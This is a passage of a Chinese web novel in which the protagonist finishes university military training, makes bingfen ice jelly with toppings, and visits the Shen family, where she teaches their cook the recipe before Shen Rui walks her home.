虽说这溢价的部分进不了他们的口袋,但是添加一枚精美的书签,在不怎么增加成本的前提下,既能起到宣传作用,也能适当提升一下顾客的情绪价值,可以说是一箭双雕。 现在第一批书签已经做好,小小的一张,采用最结实耐用的硬质纸。精美的图画配上一首柔美的小诗,正反两面都印着“珍珍”的图案和文字商标,外面再罩上一层透明塑料纸,然后往食品外包装袋上一贴,真是别提多显眼了。 如今的娱乐设施匮乏,看书除了能获取知识外,也是当下人们最常见的一种休闲放松方式。 尤其八十年代涌起诗歌热潮,许许多多文化青年喜欢读诗、抄诗、写诗,相应的一些跟书籍报刊有关的文化用品也水涨船高。苏丽珍高中的时候,女生们特别流行自己制作书签互相赠送。 所以他们家的卤味一贴上这样一张书签后,整体便更添两分风雅来,看着很有档次。 总之,尽管前期计划都是苏丽珍提出的,但后期具体实施完善却都由苏振东一个人完成,且完成地相当出色。 而且虽然做了这么多事,可苏振东却半点不居功,只坚持说是苏丽珍主意出得好。 苏丽珍当然不会认为功劳都在自己身上。别看这些事在电话里不过寥寥数语,但她能想象到苏振东这段时间付出的辛苦,心中不免有些歉疚,她自己一拍脑门冒出的想法,却累得振东叔要跑断腿。 她便在电话里劝对方不要太辛苦,一定要注意休息,可别把自己累坏了。 等结束了跟苏振东的通话后,她又给“筑梦”那边打了个电话。 丁大勇意料中的不在,不过却留下话来,交待办公室值班的人留意接听她的电话。 苏丽珍从对方口中确定这星期“筑梦”一切顺利,没什么事后,就托对方给自家师兄和薛老爷子带话,说自己这边同样一切安好,然后就挂了电话。 相比新成立的食品公司,建筑公司一切业务都已经做熟了,这两年更是稳中向上一直在迅速发展。她离开只有短短一周的时间,大概率不会有什么事。所以相对而言,她还是比较放心的。 三通电话不到八分钟,电话费却花了二十多块钱,赶上普通人半个月的工资了。 就连苏丽珍这样已经有点身家的都感觉心疼,这长途电话费实在太贵了。 之后几天,首都天气依旧炎热。虽然过程艰难,但苏丽珍总算把为期十二天的军训成功坚持下来。 尽管全程没啥亮眼的表现,不过她也没拖后腿,更没抱怨过一句辛苦,反正她自认是问心无愧了。 周五上午,随着总教官高声宣布今天的军训校阅仪式圆满完成,也宣告本次军训正式结束,在场的全体83界新生都忍不住欢呼起来。 大家都很高兴,连平时看着轻松的管明月也露出如释重负的表情。 有同学不由打趣她道:“咦,班长,你怎么这副表情?我们大伙儿还以为这军训对你来说都是毛毛雨呢!” 管明月立马反驳道:“看你说的,谁有力气就喜欢天天往外使啊?我又不是闲得难受,当然乐得轻松一点了。” 周围的人不由都跟着笑了起来。 上午军训结束,下午到班级集合领取学生证、图书证,以及下周的课表,之后就可以自由活动了。 周六周日休息,下周一正式上课。 接近两天半的假期,好好规划一下可以做很多事了。 中午吃完饭,苏丽珍寝室里的几人商量着周末的安排。 管明月不用说,肯定是要回家的;吕新芳想试着去找一份短工; 陈红梅、刘思彤、万美君商量着想出去玩一天。 本来她们想邀请苏丽珍一起去,只是苏丽珍这周末有好多安排。 她明天上午要去看沈爷爷,后天谢芳芳要来找她,两人约好要到对方的学校和苏厚德家各自看看。 三人只能遗憾作罢。 下午,苏丽珍一拿到图书证就立马直奔图书馆。 军训期间晚自习,她经常和室友们过来,只是因为当时图书证还没下来,所以没法借书。 今天,她打算先借两本跟专业相关的经济学类书籍回家看。 首都大学学风兴盛,不管是教室、自习室、图书馆,还是风景宜人的草地湖畔,总能看到一道道埋首研读的身影。 平时的图书馆人就不少,一到休息日那简直是人满为患。要是运气不好,有时候想看的书要等好久才能借到。 今天下午有不少学生还有课,倒是让苏丽珍赶上好时候,很快就借到了想要的书。 拿到书,又回寝室简单收拾了两件衣服,她就跟室友们告别回家了。 在回苏家的兴华胡同前,她还有些东西要买。 明天要去看望沈家老爷子,苏丽珍还记得上次沈瑞来时提起过,说老人家因为天热每天心心念念总想吃一口冰的,奈何身体情况不允许。 她当时是想着也许过两天,这波高温能过去,等气温降下来,老爷子就不会总想吃凉的了。没想到学校的广播说首都这波“秋老虎”攻势很猛,大约要到九月下旬,气温才会有所回落。 眼看这未来几天还是大热天,沈家爷爷恐怕胃口还是会不好。她这两天心里琢磨了一番,决定给老人家做些冰粉,明天带过去。 冰粉冰冰凉凉,在这炎热干燥的天气里吃上一碗,绝对通体舒畅。而且它老少皆宜,即便体质弱的人也能来上一碗。 她要做的这款冰粉是苏爷爷在家常给她做的,是一种起源于川地的特色小吃。做冰粉要用到的冰粉籽,也叫假酸浆籽,在南方许多地方都有分布,但在东北可不常见。 之前苏爷爷都是在中药房里买冰粉籽。苏丽珍不知道首都有哪些地方卖这个,但保险起见,她也选择直接去药房试试。 而首都果然是五湖四海八方汇集之处,人们也是见多识广。药房的大夫见苏丽珍买了不少假酸浆籽、食用石灰和干桂花,眉头一挑,就问她是不是要做冰粉。 等苏丽珍点头后,大夫就又拿出两包葡萄干和核桃仁,问她要不要也买一点。 苏丽珍:“……” 这比她还专业呢! 苏丽珍见那葡萄干绿生生的,粒大饱满,晶莹剔透;核桃仁也是颜色白净,外形对称,没有一点干瘪瑕疵。 虽说这两样的价格比副食店要贵一些,但这个品质也绝对对得起这个价,因此毫不犹豫都给包圆了。 葡萄干和核桃仁都是好东西,美味又营养,无论是做零食、还是做糕点都很合适,既然碰上就多t买些。 那药店的大夫也没想到苏丽珍这么大手笔,想了想,临了还给她添了一包山楂片做搭头。 这冰粉的小料基本就配齐了! 苏丽珍一度觉得这位大夫说不定也是位做冰粉的好手。 从药店出来,她又去了趟自由市场,买了些花生米、红豆,顺道又买了点菜,这才往家走。 到兴华胡同的时候,刚好斜对面的王老头正拎着水桶给苏家那棵银杏树浇水。 老爷子一看她回来了,十分高兴:“哎呦,珍珍回来了!” 看她大包小包买了不少东西,他一边上前要帮忙接手、一边关切道:“孩子,这几天军训怎么样?累坏了吧?” “王爷爷,我还成。刚开始是有点不适应,之后几天就慢慢习惯了。”苏丽珍没让对方接手,只笑着跟老人说了几句话。 临进门前,王老头还叮嘱她:“珍珍啊,这阵子白天天气热,我怕捂房子,每天都给你们家的窗户打开通气。你回来了,千万记得晚上要把窗户关好。这时候是这样,你别看这白天热的厉害,那一到入了夜,立马就凉飕飕的。你可千万仔细些,别冻感冒了!” 苏丽珍认真道了谢,又听老爷子叫她晚上去家里吃晚饭。 她婉言谢绝,表示自己已经买好了菜,就不过去添麻烦了。 等进了屋,她先拿上扫帚、抹布,把屋子打扫了一遍。最后才把自己今天买回来的各种食材归类整理好。 忙完这些,看时间还早,她便把从学校图书馆借到的那两本书拿出来,一边看、一边休息。 这两本经济学的书籍一本是他们学校的教授编著的,另一本原作者是米国人,但同样经由首都大学经管系的教授译制。 苏丽珍心下感叹,老师们不仅专业知识扎实,连英文水平也十分高超。 得益于前世的经历,苏丽珍的英语成绩一直很好。 可别看她这成绩在凤城一中是年级标杆,等真来到首都大学后,她就发现这点子优势实在不算什么。 就他们寝室里,外语系的刘思彤和万美君就不用说了;管明月和吕新芳的高考英语成绩只比她低了两分,说明大家的英文水平都一样。 这不免让苏丽珍有了危机感!这世上优秀的人真的太多了,她过去三年做出的这点成绩随时有可能被人超越。 她不是容不下别人超越自己,只是害怕因为自己不断被超越,最后沦为平庸而没法再站在前面去保护身边的人。 所以她不能松懈。 每每想起这些,心里就会不自觉涌出一股干劲,她立即坐正身子,认真阅读起手里的书籍来。 这一看就看入了迷。 也不知过了多久,直到外头响起一阵敲门声,她的思绪才从书本中抽回来。 一看表,这都五点半了。 她赶忙起身去开门。 一开门却是王老头和隔壁李老太太一起过来了。 王老头给她端了一盘新烙好的鸡蛋饼和一碟子自家腌的酱菜。 李老太太则给她拿了一大块西瓜。 两位老人十分热情,她实在盛情难却,只好收下这些东西。 老人们走之前又千叮万嘱,让她睡前关好门窗。 苏丽珍看着手里这些东西,心里热乎乎的。 王爷爷送的鸡蛋饼分量很足,足够苏丽珍一人吃,配上脆口的酱菜,味道好极了。 有这些东西,苏丽珍晚上就不用做饭了。 她趁热吃完了这顿简单又不失美味的晚餐后,也开始动手准备做冰粉的小料。 先把买到的红豆洗净,用水泡上,等晚上熬糖蜜豆;然后生火炒花生米和核桃仁,做坚果碎。 苏爷爷家里既有烧煤球的炉灶,也有煤气罐。 其实在炉灶上垫上炉圈,底下生小火,把花生米和核桃仁放炉圈上慢慢烘烤,这样烤熟的果仁吃起来最香。 只不过灶台连着屋里的暖气片,一生火,整个屋子都热起来了,所以现在根本没法用,今天只能用煤气罐了。 将花生米和核桃仁分别炒好,等彻底放凉后,再用擀面杖擀碎,然后分别收在两个带盖的白色小陶罐里备用。 她家苏爷爷不愧是专门做饭的大师傅,家里各种型号的坛子、罐子、盘碗碟勺是应有尽有,把这本来还算宽敞的厨房挤得满满登登。 不过苏爷爷是个很爱干净的人,所以屋里东西虽多,却井然有序,丝毫不显杂乱。 苏丽珍自己也是严格遵照苏爷爷之前存放东西的顺序。有些事尽早养成习惯,就算一时忙乱,过后也能快速收拾回来。 之后是做蜜豆。 蜜豆不难做,只是有点费工夫。把泡好的红豆加水熬煮,蜜豆讲究粒粒分明,口感软烂甘甜,一抿就化,但不能煮开花。所以开始的时候不要多放水,没过红豆一个指节就够了。等煮开后,加一碗凉水,然后小火焖煮。 这样通过反复多次添加凉水焖煮,锅里的红豆熟透后也会保持颗粒状而不开花。 等红豆煮得差不多了,开始收汤,最后加入白糖慢慢翻炒。 将做好的蜜豆放在阴凉处放置一晚上,糖渍的效果最佳,口感也更好。 家里没有冰箱,苏丽珍找了一个玻璃罐头瓶,将放凉的蜜豆装好,盖子封严,然后打了一盆凉水放在后窗台上。 把蜜豆瓶坐在水盆里,再把后窗推开一条缝,夜风吹进来,这一小片区域的温度会更低一点。 忙完这些,她简单洗漱了一下,就上床休息了。 第173章 第二天早上五点半,苏丽珍准时起床,准备做冰粉。 白天天太热,这个时间刚好。而且凉快一点,也有利于待会儿冰粉凝固。 做冰粉前,要先调石灰水。她将食用石灰加白开水搅拌均匀,然后把搅拌好的石灰水放在一边先静置半小时,待会儿做冰粉的时候只取用上层澄澈清亮的部分。 第二步是搓冰粉。将冰粉籽用纱布包好,反复揉搓出浆。直到搓出的浆液越来越黏稠,然后析出密集的白色小泡,到最后感觉没有泡泡析出,基本就差不多了。 之后将澄清好的石灰水一边缓缓倒入冰粉浆液里,一边顺着一个方向用勺子快速搅打。 苏丽珍记得,从前苏爷爷特地教过的,这里动作一定要快,争取以最快的速度将冰粉浆液和石灰水充分融合。 直到感觉勺子底下有凝滞感,那就是冰粉开始凝固了。这个时候就要立即停止倒入石灰水,否则做好的冰粉会发黄变苦。 将调好的冰粉盆放置在阴凉处,苏丽珍还是用凉水盆顶替冰箱,这样等上2~3个小时,冰粉就能慢慢凝固成型。 搓完这一大盆冰粉后,她又单独搓了一个小盆的,准备做好后端给邻居王爷爷和李奶奶。 等待的时间,苏丽珍先给自己做了一顿早饭。 她只简单熬了一点白粥,上面淋了一勺昨晚做好的蜜豆,又就着热锅煮了一个鸡蛋,最后再拍个黄瓜当小菜,这顿早餐就做好了。 吃完了早饭,接着就是煮冰粉的汤底。 她打算给今天的冰粉配两个汤底,一个是冰糖桂花;一个是蜜豆牛奶。 蜜豆牛奶好办,蜜豆昨晚已经熬好了,到时候直接加入牛奶就行了。 她记得沈老爷子说过,沈家人很喜欢喝牛奶,包括他老人家在内,每天早晚都要喝一杯。尤其是晚上那一杯,他喝完就觉得睡觉特别香,所以家里厨房一年四季常备牛奶。 既然沈家有牛奶,她这边刚好能省下一步,待会儿路上也能少拿一点。 要知道沈家的人可不少,今天又是休息日,她怕冰粉不够吃,特地做了一大盆。 再加上汤底,分量可不轻,到时候能少拿就少拿点吧。 现在只需要准备王爷爷和李奶奶两家那份。 出了他们这片胡同就是一家副食店,每天早上都有鲜牛奶出售。三毛钱一瓶,瓶子很小,每瓶约莫只有半斤的份量,玻璃瓶还要单收三毛钱押金。 她买四瓶就差不多了。 回到家后接着就是熬冰糖桂花汤。这个也比较简单,就是把冰糖和桂花加水炖煮。先熬冰糖,等冰糖彻底化开后,再加干桂花,最后滴两滴白醋,煮好的甜汤风味更佳。 其实川地的冰粉更爱浇红糖水,苏丽珍自己也比较喜欢红糖冰粉,但是苏爷爷说过,沈老爷子不爱吃红糖,所以她才没做。 将熬好的冰糖桂花汤底连铝锅一起,依旧坐在凉水盆里,中途换了几遍凉水,慢慢的,整锅汤也变得跟新打的自来水一样凉了。 到上午九点半,冰粉也凝t固得差不多了。 她先把那份小盆的冰粉平均分成四份,两两一份,每份分别淋上冰糖桂花汤底和牛奶。 然后是撒小料。冰糖桂花汤底的上面码上一层厚厚的花生碎、核桃仁碎、葡萄干和撕碎的山楂片;牛奶汤底的就浇上一大勺蜜豆。 就着盆底剩下的一点冰粉,她浅浅尝了两口。 嗯,冰粉冰凉爽口,冰糖桂花汤底口味清新,在配上丰富的小料,坚果的香、葡萄干的甜和山楂片的酸,各种味道在舌尖上交汇,从口感到风味好像一瞬间都跟着活跃起来。 牛奶蜜豆的也很好吃。醇香的奶味搭配甜蜜的红豆,一起包裹住爽滑的冰粉,这味道简单而纯粹,让人想一吃再吃,真是棒极了。 苏丽珍有点自恋地想着,自己这次怎么也发挥出苏爷爷八成的水准了。 她将调好的冰粉分别给王爷爷和李奶奶家送了去。 老人家们没想到她还会这一手,看着各自碗里配料丰富的冰粉,没吃就觉得错不了。 几人又把苏丽珍好一顿夸,把她夸得实在是不好意思,回家的时候两个耳根子还通红一片呢。 给可爱的邻居长辈们送完冰粉,接着就该出发去沈家了。 她在储藏室里找出了一个老式的方形木质食盒,用抹布擦拭了两遍。见这食盒质地、做工都很精良,决定就用它来装冰粉。 这个食盒分两层,上浅下深,底下那层正好能装下那大盆的冰粉。 上面那层能放下两个浅口的二碗,一碗装蜜豆,一碗用来装花生碎和核桃仁碎。旁边还有不少空隙,刚好能塞下两包葡萄干和山楂片。 最后剩下的一锅冰糖桂花汤,她直接倒进了暖壶里,暖壶外头再套一个厚实的拎兜,这样拎着走路方便又安全。 一切准备妥当,她就一手大食盒、一手暖壶拎兜出发了。 别说,这份量可真不轻! 这时候,她就觉出之前军训那十二天的好处来了。 她明显能感觉到自己的身体素质提高了不少,手里拎着这么多东西,就算是上、下公交车前后需要步行的这十多分钟路程里,她也没觉得费劲。 看来锻炼身体这事确实很有必要。 苏丽珍心里默默下定决心,今后不管再怎么忙,每天都必须抽出一点时间坚持锻炼。 很快到了沈家所在大院的哨岗,苏丽珍请门岗里的警卫同志帮忙联系了沈家。 不到五分钟,沈瑞就和一个高高瘦瘦的男孩子一起出来了。 苏丽珍一眼看过去就猜测,这男孩八成是沈瑞大哥在寄宿学校读高中、只有周末才回家的小儿子。因为这孩子和沈家大哥简直像一个模子里刻出来的,实在好认。 果然,沈瑞一到就给苏丽珍介绍:“珍珍,这是我大哥的小儿子,沈嘉。” 说话间,他非常自然地从苏丽珍手里拿过那两个食盒和暖壶。 苏丽珍正跟沈嘉打招呼,等反应过来时,手里的东西已经自动到了沈瑞手上。 沈瑞长得高大,身高足有一米八五。苏丽珍勉强才到他的肩头,原本在她手上显得十分沉重的食盒和暖壶,到了对方手里,好像瞬间就轻巧了不少。 她刚要开口说话,就见沈瑞先蹙了下眉,然后有些不赞同地看着她道:“怎么不提前给我打个电话?带这么重的东西路上很辛苦吧!” 这食盒和暖壶一入手就沉甸甸的,他猜里面大约是她特地准备的什么食物。 只是这分量对她来说未免太重了,且不说这些东西要她自己在家如何费心费力地烹制,只说现在天气这么热,她拎着这两样一路走过来就十足辛苦了。 他不免有些心疼,见苏丽珍还要过来接过东西,便直接侧了侧身,不叫她伸手。 苏丽珍顿了顿,看沈瑞丝毫没有要把东西还回来的迹象,也只能作罢。 不过她也感念对方的这份贴心,便实话实说道:“若是从前,恐怕是不轻松的。但是到底这十几天的军训没白训,我这力气好像都涨了不少,这一路倒也没觉得累。” 因为沈家算是军功起家,加上受沈老爷子影响,沈家的儿孙辈除了先天体弱的沈父之外,沈瑞这一辈的兄弟三人少年时都曾在部队参加过正规训练。 所以沈瑞也算见惯了每天在外头风吹日晒跑操训练的兵蛋子们。 包括他自己在内,冬天的时候还好,天气一热起来,根本用不上三天,一个个脸上就变得又黑又糙,有的甚至摸一把都剌手。 虽说学生们军训的强度肯定跟正规部队没法比,但谁叫这半个月天气这样酷热呢。 沈瑞仔细看了看苏丽珍,见她肤色一如之前白皙娇嫩,几乎跟之前没任何变化。 再说身材,他虽没好意思多看,但刚刚也快速打量了一下,确定这女孩依然是婀娜窈窕,曲线优美,确实没见瘦。尤其穿着这身湖蓝色衬衫和过膝白裙子的样子就像雨后荷塘里含苞待放的荷花,亭亭玉立,不知道有多动人! 没见旁边门岗站岗的小张他们一直时不时往她这边偷瞄吗? 所以她既没黑、也没瘦,这十几天应该是真的没有吃苦,确定了这一点的他到此刻才真正放下心来。 于是,他一转头,就对正骨碌碌转着眼睛在他和苏丽珍之间来回打量的沈嘉说道:“你珍珍姨说得对。军训对于你们学生来说确实有好处。待会儿回去我跟你太爷爷和你爸说一下,以后你有长假期的时候,也把你送到部队里临时训练几天,提高一下身体素质。” 沈嘉:“……” 苏丽珍:“……” 沈嘉张着嘴巴,当场愣成了石头人,整个人有一种“槽点太多,一时不知道先从哪个开吐”的凌乱感。 直到好一会儿,他才怪叫一声:“不是,小叔,你是魔鬼吧!我今年才十六!” 沈瑞却严肃道:“十六也不小了,不说你大哥十二岁就主动往军营跑,就算你二哥小哲也是十五岁起就开始参练了。我们沈家的男人可以一事无成,但必须要有向善之心、强壮的身体和刚强的意志,这也是你太爷爷的一贯主张。” 眼看这事是没有商量余地了,沈嘉立马垮下脸,但是到底不甘心,便小声嘟囔起来:“坏人,还让我喊人家‘姨’,你自己老大不小,就恨不得把所有人都拖下水。” 沈瑞:“……” 苏丽珍:“……” 她看见沈瑞盯着沈嘉的目光突然变得有一点危险,沈嘉又下意识往这边凑了凑,一副急需寻找庇护的鹌鹑样。 她只得打圆场道:“要不,咱们还像跟我爸妈他们一样,各论各的吧。只是称呼而已,怎么自在怎么来好了。” 其实如果按苏厚德这边论,她应该跟沈嘉同辈的,但是沈老爷子不愿意让她喊“沈太爷爷”。 老人家说当初苏厚德让家里孙辈喊他“德叔”,他就不愿意。在老爷子心里,从来是把几次生死之交的苏厚德当作自己爱护的小兄弟。所以他现在一定要让苏丽珍喊他“爷爷”,让苏卫华他们喊他“伯伯”。苏厚德拗不过老爷子,索性就随他高兴去了。 现在沈嘉只比她小三岁,平白矮了一辈肯定会不习惯。 而且苏丽珍自觉自家和苏爷爷还是有差距的,沈老爷子对她爱屋及乌,她哪里真的就好意思在人家里小辈面前托大充长辈?不如各论各的,顺其自然的好。 一听她这么说,沈嘉当即高兴起来。虽然回去的路上都躲得沈瑞远远的,却凑在苏丽珍耳边有说有笑,嘴里更是一口一个“珍珍姐”叫得欢,把沈瑞看得又好气、又好笑。 说话间到了沈家。 苏丽珍远远就见沈家大门口站了一对俊男美女,心里立时有所感。 只是如今她已经能从容地面对那两个人,所以只少少地出了一下神就很快回转心思。 这一对俊俏的男女正是沈哲和齐秀婷。 齐秀婷没等他们走近就立刻主动走过来,老远就朝着苏丽珍笑道:“珍珍,我们又见面了!” 苏丽珍也对她微笑:“你好,秀婷。” 之后又朝紧跟着齐秀婷一起走过来的沈哲礼貌地点了下头。 后者同样对她点头示意。 齐秀婷眼睛亮亮地看着她:“其实我一直都盼着跟你再见面。我们八月初就回来了,那时我还想着咱们说不定能在首都再见一见。只是我们学校开学早,还是错过了跟你碰面的机会。” 苏丽珍笑道:“现在不是t见到了吗?咱们老话儿说得好:好饭不怕晚。” 齐秀婷脸上的笑容越发明媚:“这倒是!刚刚瑞小叔接到电话说是你来了,不光是太爷爷,就是我也高兴的不行。本来我是要跟瑞小叔一起去接你的,只是嘉嘉对你好奇,这才抢了我的差事。” 旁边沈嘉一听这话立马像被踩了尾巴的小狗,朝着对方控诉道:“秀婷姐,咱们说好了的,你以后不准再叫我‘嘉嘉’!” 齐秀婷连忙举起手,做出一个抱歉的姿势:“对不住,小嘉,我下次一定注意。” 沈嘉却扁了扁嘴巴,一脸怨念:“嘉嘉、小嘉,我爸我妈当初到底怎么想的啊?太爷爷想了那么多名字,怎么偏偏给我选了个女孩名!” “你小子就是不知足!什么女孩名!既然不喜欢这个‘嘉’字,那就改叫‘孬’好了。喏,沈二孬,正配你个傻小子!” 却是沈老爷子见他们久久没进屋,索性直接跑出来,刚好听见沈嘉的话,直接逗起小重孙来。 这下除了沈嘉,所有人都笑了起来,齐秀婷更是笑得前仰后合。 沈老爷子故意不去看因为他一句话直接气成“河豚”的小重孙,反而拉着苏丽珍一阵嘘寒问暖,神情肉眼可见地开心。 等听说苏丽珍还为他做了冰粉小吃后,更是笑得合不拢嘴。 第174章 几乎是一进屋,沈老爷子就迫不及待地张罗人拿碗、拿勺、拿牛奶,然后又一把将沈瑞挤开,自己亲自把食盒打开,把里头的东西一样一样往外拿。 苏丽珍见状,忙要上前帮忙,却被老爷子按住了。 同对沈瑞的粗暴不一样,老人家对她笑得一脸慈爱:“珍珍啊,你放心,这个怎么弄,我都会的。之前你苏爷爷在这边的时候,每年夏天都给我做呢。” “今天你做这些辛苦了,又大老远拎过来,实在受累了。你现在就好好坐着休息,沈爷爷给你盛,待会儿这第一碗就给你!” 说着,他又拿眼睛斜了斜沈瑞,阴阳怪气道:“还得是我们珍珍啊,孝顺知礼,性格又好,简直样样出挑!不像有的人,一大把年纪,连个老婆都娶不到,倒是这心眼子跟岁数一样多,越活越招人烦。这种人,我老头子才不待见呢!” 沈瑞:“……” 其他人都捂嘴偷笑。 今天周末,除了沈家大哥又临时加班外,沈父、沈母和沈家大嫂都在家。 苏丽珍一开始还有些尴尬,尽管她知道沈老爷子大概率是因为之前被沈瑞拦着吃冰,这会儿在故意闹小脾气,但是毕竟沈家的人都在呢,她担心沈父、沈母会不高兴。 好在事实证明她纯粹多心。一提起娶老婆的话题,沈父沈母似乎比沈老爷子对儿子的意见还大,见老爷子拿这事埋汰沈瑞,老两口乐得看热闹。 沈老爷子果然如他自己说的那样,吃冰粉很有经验,在两个警卫员的协助下,很快就动手调好了十几碗冰粉。 他把两碗冰糖桂花冰粉分别端给苏丽珍和齐秀婷:“来、来,你们先吃这个,一会儿还有牛奶蜜豆的!” 苏丽珍发现她们两人碗里的小料都比别人的多不少,可见沈老爷子的“偏心”。 她和齐秀婷相视一笑,默契地同时开口:“谢谢沈爷爷!”“谢谢太爷爷!” 等所有人都吃到了清新爽口的冰粉后,都舒服地长出了一口气。 这么燥热的天气里吃一碗冰冰凉凉、香香甜甜的冰粉,可真是神清气爽。 沈父还夸苏丽珍得了苏厚德真传,这手艺一点也不比从前他德叔做得差。 苏丽珍见沈家上下确实都很喜欢吃冰粉,又见沈家的做饭师傅张师傅也一边吃、一边时不时低头琢磨,便主动问对方需不需要这做冰粉的方子。 张师傅听完有些受宠若惊,反应过来又有些不好意思,赶忙推拒道:“谢谢闺女,不用了。我知道这是苏师父的手艺,我已经从他老人家那里得了不少真传,哪能见一个就惦记一个,这是坏规矩的事。” 其实他之前见过苏厚德给沈老爷子做冰粉。只是这东西不比平日吃的饭菜,可学、可不学的。他总不好看人家有点啥好本事就都惦记着自己学过来吧,哪不成了占便宜没够了吗? 苏丽珍笑道:“一道方子而已,哪有那么严重,苏爷爷就是在这里也必定会同意的。他最惦记的就是沈爷爷的身体,您把这方子学会了,等以后再有天热沈爷爷吃不下去饭的时候,您就做给他老人家吃。我苏爷爷知道了只会高兴,说不定还会夸我会办事呢!” 这话说得大气又贴心,一屋子的人不由再次笑了起来。几位长辈看着苏丽珍的目光也满是欣赏。 沈老爷子更是大手一挥,直接做主道:“小张啊,既然珍珍都这么说了,那你就别再拒绝了。这孩子跟她爷爷一样,最是敞亮!所以你也不必有啥负担,就放心跟她学,等学会了以后就天天做给我吃。这么好吃的冰粉,我恨不能一天吃它个几大碗!” 沈嘉立马跟着拍手符合:“好哇好哇,那太爷爷,到时候我沾您的光,我也要天天吃冰粉!” 沈老爷子脖子昂得高高的,一脸骄傲道:“好说好说,太爷爷可不是小气人儿!” 众人忍俊不禁,沈母和沈家大嫂更是笑得碗都要端不住了。 偏这时候,沈瑞来破坏气氛:“冰粉虽好,但也不可过量,否则好东西也会变成坏东西。” 沈老爷子直接丢给他一对大白眼,然后转过身埋头吃自己的冰粉,只拿后脑勺对着他。 大家又忍不住捂嘴直乐。 也是到今天,苏丽珍才算真正见识到沈老爷子“记仇”的样子。 等到中午,沈家准备了一大桌丰盛的饭菜招待苏丽珍。 吃饭的时候,沈老爷子乐呵呵地把苏丽珍和齐秀婷招呼到自己身边,一左、一右挨着他坐下。 老人家知道苏丽珍爱吃鱼,特地叫张师傅做了个“一鱼三吃”:鱼头泡饼、糖醋鱼块和三鲜鱼骨汤。 老爷子先用公筷将大鱼头上嫩嫩的月牙肉夹给苏丽珍,之后又给齐秀婷夹了一块糖醋鱼。 最后把夹月牙肉时拨到一边的鱼鳃盖夹给了沈瑞,嘴里还念念有词:“来、来,别说我老人家偏心,你脸皮厚就适合吃这个。吃的时候你还能比较一下,看看你的脸皮和人家鱼儿的脸皮谁更结实,互相学习一下嘛。” 沈瑞:“……” 桌上还有一盘香酥鸡,沈老爷子又把两个鸡腿先夹给苏丽珍和齐秀婷,给沈嘉夹了一个鸡翅膀,等轮到沈瑞就是一块鸡锁骨末端的三角骨。 “还有这个,这块软骨严格来说是鸡的胸腔骨,这个也最适合你吃了。要我老头子说,你小子这胸腔骨确实得好好补补,要不然那一堆的心眼子可兜不住!” 苏丽珍差点笑出声。 其他人也捏着筷子笑得前仰后合。 沈瑞倒也不生气,只笑眯眯地看着老爷子道:“上次赵哥还问我,怎么他收在柜子里那瓶绿南春好像被人动过了似的。” 一句话,沈老爷子瞬间紧张地望向厨房的方向,一边看、还一边故意大着嗓门道:“哎呀,那什么,珍珍啊、秀婷啊,你们吃菜吃菜,爷爷给你们夹啊!” 平时沈老爷子的两个警卫员都是跟沈家人一起吃饭的,只是今天因为有客人来,所以两人坚持留在厨房跟张师傅一起吃。 众人看他这副心虚的样子哪里还猜不到是怎么回事,不由都抿嘴偷笑。 大概是真怕被照顾自己的警卫员发现自己的“小秘密”,沈老爷子之后彻底老实起来,再不敢捉弄沈瑞。 一顿饭就在这种大家想笑又不敢笑的气氛里吃完了。 吃完饭,张师傅从大院附近的药房买了些冰粉籽和食用石灰回来,苏丽珍就教他做冰粉。 对方到底是专业的大厨,好多东西不过是隔了一层窗户纸,轻轻一捅就透亮了。 苏丽珍只简单演示了一遍,张师傅就领悟了这里头的诀窍,第一次做出来的成品效果就很不错。 至于冰粉配套的小料和汤底,张师傅只稍加思索就想出来好几种,更是不需要苏丽珍多说了。 苏丽珍在沈家差不多待到半下午就准备告辞了。 沈老爷子很舍不得她,本来还想留她吃完晚饭再回去,后来听苏丽珍说回去t还有学习任务,这才无奈作罢。等她临走时,老人家更是亲自大包小包地给她装了不少水果、干果等零嘴。 跟她相处了半天的齐秀婷也表现出了明显的不舍,不但跟她交换了收信地址,还表示回到学校后一定会给她写信。 苏丽珍握着齐秀婷塞到她手里的通信地址,心情也有些复杂。 人与人之间的缘分真的很奇妙,她没想到还会有和齐秀婷成为朋友的一天。 她小心地将对方留给她的地址仔细收好。 上辈子虽然她和齐秀婷几乎没什么交集,她也压根没能撼动对方分毫,但事实上,当她厚颜无耻地要去抢夺沈哲的时候,就已经是在伤害对方了。 所以,她对齐秀婷是有一些歉疚的。 也因为这份无法宣之于口的歉意,她没办法拒绝对方。 那就顺其自然吧。能以朋友的身份,看着这一世的齐秀婷和沈哲相伴终老,并送上一份真心的祝福,未尝不是对前世那段恶缘的了结。 也挺好。 回去是沈瑞亲自开车送苏丽珍。 眼见着车子到了胡同口,明显进不去,苏丽珍忙道:“沈大哥,就送到这里吧,剩下的路也没多远了。” 沈瑞动作利落地停好车,却跟苏丽珍一起下了车。 “东西有点重,还是我送你进去吧。” 苏丽珍本想拒绝,奈何手长腿长的某人动作实在迅速,不由分说就把车里沈爷爷给她带回来的东西拎在自己手里。 “走吧!” 苏丽珍最后只捞着个空暖壶拎。 两人一边走、一边说话,苏丽珍问对方是不是已经确定这两天启程南下。 沈瑞颔首,表示已经定好了明天飞往深市的机票。 两人又聊了几句有关现在经济政策的闲话,这一小段路也不过三四分钟的路程,说话间就到了苏家。 苏丽珍犹豫了一瞬,还是出于礼貌地开口询问道:“沈大哥,既然都走到这了,要不进屋坐一会儿?” 沈瑞有一瞬间地心动,但理智告诉他,面前的这个姑娘其实还不太情愿跟他单独相处,所以尽管内心遗憾,面上还是十分自然地拒绝道:“不用了,明天就要离京,公司那边有些事还需要我回去再交待一下,我就不进去了。” 苏丽珍心里顿时松了口气。也说不上为什么,刚刚脑子里一浮现出要跟沈瑞独处一室的情形就让她浑身别扭,幸好对方没答应。 她一边道谢,一边从对方手里接过自己的东西,想到对方明天就启程了,便又道:“那沈大哥,咱们下次再见,祝你明天一路顺风。” 沈瑞点了点头:“谢谢,也希望你一切顺利。” 两人相视一笑。 眼见苏丽珍开了门,准备进去,沈瑞看着她清秀的侧脸,忽然出声道:“珍珍。” 等对面的姑娘闻声看过来,面对那双澄澈的眼睛,他强自压下内心的不舍,只温言道:“如果你遇到什么难处,请一定要告诉我……或者我的家人,好吗?” 苏丽珍怔了怔,只是不及多想,就又听沈瑞道:“我知道你是个很有想法、也很有主见的姑娘,但你毕竟一个人在这边,很多事在学校也不方便,遇事身边可能连个商量的人也没有。如果你需要帮助,我希望你能来找我……就算我不在,好歹爷爷和大哥他们也在的。” 